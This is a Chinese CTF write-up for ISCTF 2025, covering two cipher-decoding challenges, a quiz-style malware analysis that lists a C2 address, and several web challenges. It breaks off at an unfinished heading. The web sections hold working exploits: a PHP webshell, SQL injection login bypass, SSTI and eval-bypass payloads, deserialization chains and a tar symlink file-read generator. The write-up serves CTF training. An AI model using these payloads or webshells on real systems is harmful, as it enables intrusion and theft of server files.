ISCTF 2025 部分Writeup

SIGNIN

Ez_Caesar

Title

出题人:落书
院校:平顶山学院
难度:签到
题目描述:
小蓝鲨看你们牢底坐穿决定送你们一点分。

Idea
题目附件:

def variant_caesar_encrypt(text):  
    encrypted = ""  
    shift = 2  
    for char in text:  
        if char.isalpha():  
            if char.isupper():  
                base = ord('A')  
                new_char = chr((ord(char) - base + shift) % 26 + base)  
            else:  
                base = ord('a')  
                new_char = chr((ord(char) - base + shift) % 26 + base)  
            encrypted += new_char  
            shift += 3  
        else:  
            encrypted += char  
    return encrypted  
  
# KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}

就是一个凯撒移位
加密过程分析:

  1. Caesar Cipher (凯撒密码) 变种: 函数的核心是一个凯撒密码的变种。凯撒密码是将字母按照固定的偏移量进行替换。
  2. 可变偏移量: 这个变种的关键在于偏移量 shift 是动态变化的。
    • 初始偏移量是 shift = 2
    • 对于每一个被加密的字母,在进行加密后,shift 会增加 3
  3. 字母处理:
    • 只处理字母 (char.isalpha())。
    • 区分大小写:
      • 大写字母 (char.isupper()) 的基准是 'A'
      • 小写字母 (char.islower()) 的基准是 'a'
    • 加密公式: (ord(char) - base + shift) % 26 + base
      • ord(char) - base: 将当前字母的ASCII值转换为相对于字母表开头的偏移量(0-25)。
      • + shift: 加上当前的偏移量。
      • % 26: 对26取模,确保结果在字母表范围内(循环)。
      • + base: 将偏移量加回基准ASCII值,得到新的字母的ASCII值。
  4. 非字母字符: 非字母字符(数字、符号、空格等)保持不变 (encrypted += char)。
    exp
def variant_caesar_decrypt(text):  
    decrypted = ""  
    shift = 2  # 初始移位值  
    for char in text:  
        if char.isalpha():  
            if char.isupper():  
                base = ord('A')  
                # 解密:减去 shift,加 26 再取模,确保非负  
                new_char = chr((ord(char) - base - shift) % 26 + base)  
            else:  
                base = ord('a')  
                new_char = chr((ord(char) - base - shift) % 26 + base)  
            decrypted += new_char  
            shift += 3  # 移位值增加,和加密时同步  
        else:  
            decrypted += char  
    return decrypted  
  
encrypted = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"  
print(variant_caesar_decrypt(encrypted))  
  
  
#ISCTF{Caesar_is_so_easy_and_funny}

小蓝鲨的RC4系统

Title

出题人:落书
院校:平顶山学院
难度:签到
题目描述:
送都送了,再给一个。

Idea

import hashlib  
  
class StreamCipher:  
    def __init__(self, key):  
      
        self.S = list(range(256))  
        self.i = 0  
        self.j = 0  
        j = 0  
        key_bytes = self._key_to_bytes(key)  
        for i in range(256):  
            j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256  
            self.S[i], self.S[j] = self.S[j], self.S[i]  
      
    def _key_to_bytes(self, key):  
          
        if isinstance(key, str):  
            return hashlib.sha256(key.encode()).digest()  
        elif isinstance(key, bytes):  
            return hashlib.sha256(key).digest()  
      
    def _prga(self):  
          
        self.i = (self.i + 1) % 256  
        self.j = (self.j + self.S[self.i]) % 256  
        self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]  
        K = self.S[(self.S[self.i] + self.S[self.j]) % 256]  
        return K  
      
    def crypt(self, data):  
          
        if isinstance(data, str):  
            data = data.encode('utf-8')  
          
        result = bytearray()  
        for byte in data:  
            key_byte = self._prga()  
            result.append(byte ^ key_byte)  
          
        return bytes(result)  
  
def encrypt_string(text, key):  
      
    cipher = StreamCipher(key)  
    encrypted = cipher.crypt(text)  
    return encrypted.hex()  
  
#ISCTF2025  
#ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d

看题目是RC4
密钥ISCTF2025
密文ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d
exp

import hashlib  
  
  
class StreamCipher:  
    def __init__(self, key):  
        self.S = list(range(256))  # 修正初始化错误  
        self.i = 0  
        self.j = 0  
  
        j = 0  
        key_bytes = self._key_to_bytes(key)  
        for i in range(256):  
            j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256  
            self.S[i], self.S[j] = self.S[j], self.S[i]  
  
    def _key_to_bytes(self, key):  
        if isinstance(key, str):  
            return hashlib.sha256(key.encode()).digest()  
        elif isinstance(key, bytes):  
            return hashlib.sha256(key).digest()  
  
    def _prga(self):  
        self.i = (self.i + 1) % 256  
        self.j = (self.j + self.S[self.i]) % 256  
        self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]  
        K = self.S[(self.S[self.i] + self.S[self.j]) % 256]  
        return K  
  
    def crypt(self, data):  
        if isinstance(data, str):  
            data = data.encode('utf-8')  
        result = bytearray()  
        for byte in data:  
            key_byte = self._prga()  
            result.append(byte ^ key_byte)  
        return bytes(result)  
  
  
def decrypt(encrypted_hex, key):  
    cipher = StreamCipher(key)  
    encrypted_data = bytes.fromhex(encrypted_hex)  
    decrypted_data = cipher.crypt(encrypted_data)  
    return decrypted_data.decode()  
  
  
encrypted_hex = "ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d"  
key = "ISCTF2025"  
  
flag = decrypt(encrypted_hex, key)  
print(flag)  
  
  
#ISCTF{Welcome_to_ISCTF_&_this_is_a_secret_with_RC4}

病毒分析

Title

注1:本题通过模仿某近期活跃的APT(Advanced Presistent Threat,高级持续性威胁)组织的攻击手法,使题目更符合真实环境,题目设计为不会对系统进行破坏,即使真机运行也不影响,清除方法将在官方wp中给出 注2:为使题目正常运行,请将文件解压到C:\Windows\System32中 注3:本系列除最后一题外其他题目均为问答,不需要包裹ISCTF{}

出题人:f00001111
学校:大理大学

题目列表:

1、题目模仿的APT组织中文代号为
2、第一阶段载荷中的入口文件全名为
3、第一阶段中使用了一个带有数字签名的文件(非系统文件),其中签名者名称为(完整复制)
4、第一阶段中恶意载荷释放的文件名分别为(提交三次,每次一个文件名)
5、第二阶段使用了一种常见的白加黑技巧,其中黑文件名为
6、第二阶段对下一阶段载荷进行了简单的保护,保护使用的算法为
7、第二阶段对下一阶段载荷进行了简单的保护,保护使用的密码为
8、第三阶段载荷使用了一种开源的保护工具,工具英文缩写为
9、第三阶段载荷首次回连域名为
10、第三阶段载荷获取命令的回连地址为(格式:IP:端口)
11、第三阶段载荷获取命令时发送的内容为
12、访问最终回连地址得到flag

霍雅师傅的讲解:
ISCTF 2025 reverse&病毒分析wp - 霍雅的博客

1、海莲花
2、ISCTF基础规则说明文档.pdf.lnk
3、Zoom Video Communications, Inc.
4、zRCAppCore.dll、zRC.dat、ISCTF2025基础规则说明文档.pdf
5、zRCAppCore.dll
6、XOR
7、tf7*TV&8u
8、upx
9、colonised-my.sharepoint.com
10、47.252.28.78:37204
11、get_cmd
12、ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}

web

难过的bottle

Title

出题人:Twansh
院校:福建理工大学
难度:简单
题目描述:小蓝鲨发明的zip在线解压器有点奇怪

附件:

from bottle import route, run, template, post, request, static_file, error  
import os  
import zipfile  
import hashlib  
import time  
import shutil  
  
  
# hint: flag is in /flag  
  
UPLOAD_DIR = 'uploads'  
os.makedirs(UPLOAD_DIR, exist_ok=True)  
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB  
  
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]  
  
def contains_blacklist(content):  
    """检查内容是否包含黑名单中的关键词(不区分大小写)"""  
    content = content.lower()  
    return any(black_word in content for black_word in BLACKLIST)  
  
def safe_extract_zip(zip_path, extract_dir):  
    """安全解压ZIP文件(防止路径遍历攻击)"""  
    with zipfile.ZipFile(zip_path, 'r') as zf:  
        for member in zf.infolist():  
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))  
            if not member_path.startswith(os.path.realpath(extract_dir)):  
                raise ValueError("非法文件路径: 路径遍历攻击检测")  
              
            zf.extract(member, extract_dir)  
  
@route('/')  
def index():  
    """首页"""  
    return '''  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>ZIP文件查看器</title>  
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">    <link rel="stylesheet" href="/static/css/style.css"></head>  
<body>  
    <div class="header text-center">        <div class="container">            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>  
            <p class="lead">安全地上传和查看ZIP文件内容</p>  
        </div>    </div>    <div class="container">        <div class="row justify-content-center" id="index-page">            <div class="col-md-8 text-center">                <div class="card">                    <div class="card-body p-5">                        <div class="emoji-icon">📤</div>  
                        <h2 class="card-title">轻松查看ZIP文件内容</h2>  
                        <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>  
                        <div class="mt-4">                            <a href="/upload" class="btn btn-primary btn-lg px-4 me-3">                                📁 上传ZIP文件  
                            </a>                            <a href="#features" class="btn btn-outline-secondary btn-lg px-4">                                ℹ️ 了解更多  
                            </a>                        </div>                    </div>                </div>            </div>        </div>        <div class="row mt-5" id="features">            <div class="col-md-4 mb-4">                <div class="card h-100">                    <div class="card-body text-center p-4">                        <div class="emoji-icon">🛡️</div>  
                        <h4>安全检测</h4>  
                        <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>  
                    </div>                </div>            </div>            <div class="col-md-4 mb-4">                <div class="card h-100">                    <div class="card-body text-center p-4">                        <div class="emoji-icon">📄</div>  
                        <h4>内容预览</h4>  
                        <p>直接在线查看ZIP文件中的文本内容,无需下载</p>  
                    </div>                </div>            </div>            <div class="col-md-4 mb-4">                <div class="card h-100">                    <div class="card-body text-center p-4">                        <div class="emoji-icon">⚡</div>                        <h4>快速处理</h4>  
                        <p>高效处理小于1MB的ZIP文件,快速获取内容</p>  
                    </div>                </div>            </div>        </div>    </div>    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>  
</html>  
    '''  
@route('/upload')  
def upload_page():  
    """上传页面"""  
    return '''  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>上传ZIP文件</title>  
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">    <link rel="stylesheet" href="/static/css/style.css"></head>  
<body>  
    <div class="header text-center">        <div class="container">            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>  
            <p class="lead">安全地上传和查看ZIP文件内容</p>  
        </div>    </div>    <div class="container mt-4">        <div class="row justify-content-center">            <div class="col-md-8">                <div class="card">                    <div class="card-header bg-primary text-white">                        <h4 class="mb-0">📤 上传ZIP文件</h4>  
                    </div>                    <div class="card-body">                        <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">                            <div class="mb-3">                                <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>  
                                <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>                                <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>  
                            </div>                            <button type="submit" class="btn btn-primary w-100">                                📤 上传文件  
                            </button>                        </form>                    </div>                </div>                <div class="text-center mt-4">                    <a href="/" class="btn btn-outline-secondary">                        ↩️ 返回首页  
                    </a>                </div>            </div>        </div>    </div>    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>  
</html>  
    '''  
@post('/upload')  
def upload():  
    """处理文件上传"""  
    zip_file = request.files.get('file')  
    if not zip_file or not zip_file.filename.endswith('.zip'):  
        return '请上传有效的ZIP文件'  
    zip_file.file.seek(0, 2)    
    file_size = zip_file.file.tell()  
    zip_file.file.seek(0)    
      
    if file_size > MAX_FILE_SIZE:  
        return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'  
    timestamp = str(time.time())  
    unique_str = zip_file.filename + timestamp  
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()  
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)  
    os.makedirs(extract_dir, exist_ok=True)  
      
    zip_path = os.path.join(extract_dir, 'uploaded.zip')  
    zip_file.save(zip_path)  
      
    try:  
        safe_extract_zip(zip_path, extract_dir)  
    except (zipfile.BadZipFile, ValueError) as e:  
        shutil.rmtree(extract_dir)   
        return f'处理ZIP文件时出错: {str(e)}'  
    files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']  
      
    return template('''  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>上传成功</title>  
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">    <link rel="stylesheet" href="/static/css/style.css"></head>  
<body>  
    <div class="header text-center">        <div class="container">            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>  
            <p class="lead">安全地上传和查看ZIP文件内容</p>  
        </div>    </div>  
    <div class="container mt-4">        <div class="row justify-content-center">            <div class="col-md-8">                <div class="card">                    <div class="card-header bg-success text-white">                        <h4 class="mb-0">✅ 上传成功!</h4>  
                    </div>                    <div class="card-body">                        <div class="alert alert-success" role="alert">                            ✅ 文件已成功上传并解压  
                        </div>  
                        <h5>文件列表:</h5>  
                        <ul class="list-group mb-4">                            % for file in files:                            <li class="list-group-item d-flex justify-content-between align-items-center">                                <span>📄 {{file}}</span>                                <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">                                    查看  
                                </a>                            </li>                            % end                        </ul>  
                        % if files:                        <div class="d-grid gap-2">                            <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">                                👀 查看第一个文件  
                            </a>                        </div>                        % end                    </div>                </div>  
                <div class="text-center mt-4">                    <a href="/upload" class="btn btn-outline-primary me-2">                        ➕ 上传另一个文件  
                    </a>                    <a href="/" class="btn btn-outline-secondary">                        🏠 返回首页  
                    </a>                </div>            </div>        </div>    </div>  
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>  
</html>  
    ''', dir_hash=dir_hash, files=files)  
  
@route('/view/<dir_hash>/<filename:path>')  
def view_file(dir_hash, filename):  
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)  
      
    if not os.path.exists(file_path):  
        return "文件不存在"  
    if not os.path.isfile(file_path):  
        return "请求的路径不是文件"  
    real_path = os.path.realpath(file_path)  
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):  
        return "非法访问尝试"  
    try:  
        with open(file_path, 'r', encoding='utf-8') as f:  
            content = f.read()  
    except:  
        try:  
            with open(file_path, 'r', encoding='latin-1') as f:  
                content = f.read()  
        except:  
            return "无法读取文件内容(可能是二进制文件)"  
    if contains_blacklist(content):  
        return "文件内容包含不允许的关键词"  
    try:  
        return template(content)  
    except Exception as e:  
        return f"渲染错误: {str(e)}"  
  
@route('/static/<filename:path>')  
def serve_static(filename):  
    """静态文件服务"""  
    return static_file(filename, root='static')  
  
@error(404)  
def error404(error):  
    return "讨厌啦不是说好只看看不摸的吗"  
  
@error(500)  
def error500(error):  
    return "不要透进来啊啊啊啊"  
  
if __name__ == '__main__':  
    os.makedirs('static', exist_ok=True)  
      
    #原神,启动!  
    run(host='0.0.0.0', port=5000, debug=False)

Idea
进入页面,发现这是一个基于 Python Bottle 框架开发的 ZIP 文件查看器。

上传一个zip,被拦了

分析附件源码
源代码中:

# hint: flag is in /flag

在源码的 /view/<dir_hash>/<filename:path> 路由中,存在以下代码:

    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

content是用户上传的文件内容如果传入的 content包含 Bottle 模板语法,Bottle 会将其解析为 Python 代码并在服务端执行,content 完全由用户控制,由此造成了ssti漏洞。
分析黑名单

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]  

大部分关键词被禁用了
但有一下可以字符

  • 字母:a, f, g, l
  • 符号:_, ., (, ), [, ], {, }, ', ", +, -, *, /, \
    Python 3 在处理标识符)时,支持 Unicode Normalization (NFKC)。意味着某些看起来像字母的特殊 Unicode 字符(如上标、斜体、粗体字符),在 Python 解析器眼中等同于标准的 ASCII 字母。
  • 字符 (U+1D49) 在 Python 代码中会被视为 e
  • 字符 (U+1D52) 在 Python 代码中会被视为 o

因此,我们可以构造一个包含特殊 Unicode 字符的 Payload:

{{ ᵒᵖᵉⁿ('/flag').ʳᵉaᵈ() }}

exp

import zipfile  
import os  
  
# 原代码: {{ open('/flag').read() }}  
# o -> ᵒ (\u1d52)
# p -> ᵖ (\u1d56)
# e -> ᵉ (\u1d49)
# n -> ⁿ (\u207f)
# r -> ʳ (\u02b3)
# d -> ᵈ (\u1d48)
  
payload = "{{ ᵒᵖᵉⁿ('/flag').ʳᵉaᵈ() }}"  
filename = "exploit.txt"  
  
with open(filename, "w", encoding="utf-8") as f:  
    f.write(payload)  
  
zip_name = "payload.zip"  
with zipfile.ZipFile(zip_name, 'w') as zf:  
    zf.write(filename)  
  
print(f"已生成 {zip_name},Payload: {payload}")  
  
os.remove(filename)

将代码生成的zip上传

b@by n0t1ce b0ard

Title

出题人: LamentXU
院校:无
难度:签到
题目描述:
在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。
然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。
CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。
CVE 编号:CVE-2024-12233

Idea
这题是一道签到题,网上能找到现成的exp
搜索引擎:CVE-2024-12233
找到CVE-2024-12233 - 漏洞详情 - OpenCVE
发现了LamentXU师傅的github仓库cve/RCE1.md at main · LamentXU123/cve
40cad88304ac807ef107c5885d69161c_MD5
照着复现就好了
exp
上传一句话木马

<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>

访问文件路径/images/test/1.php?s=执行命令


flag到底在哪

Title

出题人:fortuneh2c
院校:山西师范大学
难度:简单
题目描述:小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的
hint:小蓝鲨说账户必须是admin哦,不要在用户名上做尝试啦! 如果要使用逻辑运算符请使用大写

Idea
根据题目描述,访问robots.txt]]

进入/admin/login.php

有一个登录页面,提示用户名是:admin
尝试SQL注入无果,尝试使用 SQL 注入万能密码进行登录' OR '1'='1
登录成功,跳转至/upload.php页面
上传一句话木马PHP图片]]

上传成功,访问webshell

exp
执行命令ls

执行命令ls /
发现没有flag

执行命令cat /start.sh
发现flag在/home/flag

cat /home/flag

ezrce

Title

出题人:f1@g
院校:信阳师范大学
难度:简单
题目描述:如此ez的rce,补兑,怎么只允许这些?

Idea
进入页面可见源码

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

漏洞点eval($code)
preg_match('/^[A-Za-z\(\)_;]+$/', $code)只允许字母(A-Z a-z)、圆括号 ()、下划线 _、和分号 ;
因此不能使用数字、美元符号 $(变量)、引号 '"、空格、点 . 等。
这里我们可利用到多个函数进行绕过

  • getallheaders():返回服务器接收到的请求头数组(键 => 值)。
  • current() / pos():返回数组当前元素(通常是第一个)。
  • end():将指针移动到数组最后一个单元并返回其值。
  • system():执行命令。
    code 参数中调用 system(current(getallheaders()));(或 system(end(getallheaders()));,取决于我们能控制的头部位置),这样就能把 header 的值作为命令执行。
    exp
    首先查看 getallheaders() 返回的头部顺序(以确定使用 current()end()):
curl 'http://challenge.bluesharkinfo.com:30966/?code=print_r(getallheaders());' -H 'X-Cmd: ls /'


可以看到自定义的 X-Cmd 出现在数组的第一个位置,因此可用 current(getallheaders()) 取得它的值。
构造执行命令的 code 参数并发送请求:

curl 'http://challenge.bluesharkinfo.com:25944/?code=system(current(getallheaders()));' -H 'X-Cmd: cat /flag'

来签个到吧

Title

出题人:卡奇
院校:无
难度:简单
题目描述:小蓝鲨邀请你来打CTF😋

附件ez_unserialize.tar
Idea
源代码在附件的/src目录下

对源代码文件进行分析
1、index.php

  • 输入以 blueshark: 开头,会截取后半段并调用 unserialize()
  • 将序列化字符串写入数据库 notes 表。
  • 页面会把数据库中最近的记录以 htmlspecialchars 显示在页面上。
    2、api.php
  • 通过 id 从数据库读取 content,然后直接 unserialize()
  • 如果反序列化结果是 ShitMountant 的实例,则调用 $cfg->fetch() 并输出其返回内容。
    3、classes.php
  • 定义了两个类:FileLoggerShitMountant
  • ShitMountant:
    • 属性:$url$logger
    • 方法:fetch() 使用 file_get_contents($this->url) 获取内容,并可通过 logger 写日志。
    • __destruct() 会调用 fetch()
  • FileLogger 负责向文件追加写日志,__destruct() 也会写入内容。
    总结:
     api.php 会对数据库中 content 字段不可信的数据直接 unserialize()
     classes.php 中的类包含会执行 I/O 的方法(file_get_contents),这些会在对象方法中被调用或在 __destruct() 中触发
    因而可以通过构造 ShitMountant 对象并将 url 指向服务器本地敏感文件,在反序列化后触发读取并返回文件内容。
    payload:
    1、构造一个 ShitMountant 对象:
  • url 设置为需要读取的路径(本题为 /flag)。
  • logger 可以是 FileLogger 的对象,可设置一个 logfile
    2、序列化该对象,得到字符串。
    3、按 index.php 要求,提交 shark 参数,内容以 blueshark: 开头并跟上序列化串,这会将序列化串写入 notes 表。
    4、访问 api.php?id=<插入的记录 id>api.phpunserialize() 该记录并在类型是 ShitMountant 时调用 fetch(),将 /flag 的内容读入并输出。
    exp
<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";
}
class ShitMountant {
    public $url;
    public $logger;
}

$s = new ShitMountant();
$s->url = "/flag";
$s->logger = new FileLogger();
echo serialize($s);
?>

本地运行生成序列化字符串:

O:12:"ShitMountant":2:{s:3:"url";s:5:"/flag";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:16:"/tmp/notehub.log";s:7:"content";s:0:"";}}

post发送序列化字符串

访问/api.php?id=1

flag?我就借走了

Title

出题人:糖糖毬
院校:江西财经大学
难度:简单
题目描述:小蓝鲨建了一个资源站,它还很贴心的支持了多种文件格式,甚至能自动解压!小蓝鲨还是太贴心了

Idea
进入页面,是一个文件上传,支持上传.png .avif .webp .gif .jxl .txt文件,打包格式用tar

上传一个text.tar,成功解压文件,并能通过 /download/test.txt 下载。

通过 /download/../../etc/passwd 进行路径遍历失败,页面/接口会过滤 .. 和 /
由此实现此功能的关键源码大致为:

if file.filename.endswith(".tar"):
    try:
        with tarfile.open(file_save_path, "r") as tf:
            tf.extractall(app.config["UPLOAD_FOLDER"])
        os.remove(file_save_path)
    except Exception as e:
@app.route("/download/<filename>")
def download_file(filename):
    if ".." in filename or "/" in filename:
        return "欸,不能欺骗人家呀"
    filepath = os.path.join(app.config["UPLOAD_FOLDER"], filename)
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return "文件不存在"
    return send_file(filepath, as_attachment=False)
  • 解压时使用了 tarfile.open(...); tf.extractall(upload_dir),未对条目名或符号链接进行过滤或安全检查。
  • 下载接口 /download/<filename> 会检查 ../,但在拼接路径后直接使用 send_file(filepath) 返回文件内容,send_file 会跟随符号链接去读取目标文件。
    extractall 不阻止符号链接的写入,send_file 会跟随符号链接,这就形成了任意读取的链条。
  1. 在 tar 包中创建符号链接(symlink),指向服务器上的敏感文件。
  2. 上传并解压后,上传目录内将出现该符号链接文件。
  3. 通过 /download/<symlink_name> 请求该文件,服务器会读取符号链接指向的内容并返回,即泄露目标文件内容。
    exp
import tarfile  
  
with tarfile.open("payload.tar", "w") as tar:  
        info = tarfile.TarInfo("paylaod.txt")  
        info.type = tarfile.SYMTYPE  
        info.linkname = "/flag"  
        tar.addfile(info)  
  
print("paylaod.tar")

上传payload.tar,访问payload.txt即可]]

Who am I

Title

出题人:duu
院校:河南理工大学
难度:简单
题目描述:小蓝鲨做了一个半成品系统,但似乎很容易获取到敏感信息

Idea
访问网站,是一个登录页面。查看页面源代码和相关资源文件。

正常登录注册,没发现什么有用的东西]]

返回登录页面,在登录页面的源代码中发现引用了一个 JavaScript 文件 /static/js/malniest.e19a0e13.js。分析该 JS 文件,发现了一段有趣的代码:

function ensureTypeHidden() {
  const form = DOM.qs("form[action='/login'][method='POST']");
  if (!form) return;
  let hidden = form.querySelector("input[name='type']");
  if (!hidden) {
    hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
    form.appendChild(hidden);
  }
  // ...
}

这段代码在登录表单中强制添加了一个隐藏字段 type,默认值为 1。这个 type 字段可能控制着用户的权限或角色。
重新注册一个账号进行登录,抓包修改type的值,将 type=1 修改为 type=0。]]

登录成功后,302跳转到了一个路径/272e1739b89da32e983970ece1a086bd,而不是普通用户的 /user_dashboard。]]

mian.py的源码

分析mian.py,存在
1、原型链污染 (/operate)

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

这里使用了 pydash.set_,并且允许用户指定 globals() 中的任意对象作为目标。app 对象(Flask 实例)就在全局变量中。这意味着我们可以修改 Flask 应用的配置或属性。
2、任意模板渲染 (/impression)

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

这个路由接受 point 参数并直接传入 render_template。虽然有长度限制和特殊字符过滤(防 SSTI),但如果我们可以控制模板加载的路径,就可以利用它来读取文件。
exp
Flask 使用 Jinja2 作为模板引擎。模板加载器通常配置在 app.jinja_loader 中。我们可以尝试修改 app.jinja_loader.searchpath,将其指向根目录 /。这样,当我们请求渲染模板 flag 时,Flask 就会去根目录下寻找名为 flag 的文件并渲染它。
构造请求,将 app.jinja_loader.searchpath 设置为 /
访问/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

修改成功
访问 /impression 接口,参数 point=flag

/impression?point=flag

Bypass

Title

出题人:BR
院校:西安理工大学
难度:中等
题目描述:How to bypass?

附件:Bypass-docker.zip
Idea
分析附件源码index.php

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}
  1. 反序列化入口: unserialize($_GET['exp']) 允许攻击者控制 FLAG 对象的私有属性 $a 和保护属性 $b
  2. 析构函数利用: __destruct 方法在对象销毁时触发,执行 $a("", $b)。这是一个典型的动态函数执行点。
  3. 过滤:
  • $blocked_a 封锁了直接执行命令的函数。
  • $blocked_b 极其严格,封锁了几乎所有组成常用命令(如 cat, ls)的字符。

$blocked_a 过滤了 system, exec, passthru 等,但遗漏了 create_function

  • 原理: create_function('$args', '$code') 会创建一个匿名函数,其内部逻辑相当于 eval($code)
  • 利用: 当 $acreate_function 时,$a("", $b) 等价于 create_function("", $b)。这将把 $b 的内容作为函数体代码进行解析。
    $blocked_b 过滤了 c, a, t, f, l, g 等字符,导致无法直接写入 system('cat /flag')
    PHP 字符串支持 八进制转义 (Octal Escape Sequences)\ooo(如 \163)会被解析为对应的 ASCII 字符,以此绕过正则,从而执行命令。
    exp
    将执行命令的代码转为八进制
  • system -> \163\171\163\164\145\155
  • cat /flag -> \143\141\164\040\057\146\154\141\147
<?php
class FLAG {
    private $a;
    protected $b;
    public function __construct($a, $b) {
        $this->a = $a;
        $this->b = $b;
    }
}

$a = "create_function";
$b = '} $x="\163\171\163\164\145\155";$x("\143\141\164\040\057\146\154\141\147"); /*';

$f = new FLAG($a, $b);
echo urlencode(serialize($f));
?>

payload:


O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A78%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B%24x%28%22%5C143%5C141%5C164%5C040%5C057%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D

ezpop

Title

出题人:winter
院校:福建师范大学
难度:中等
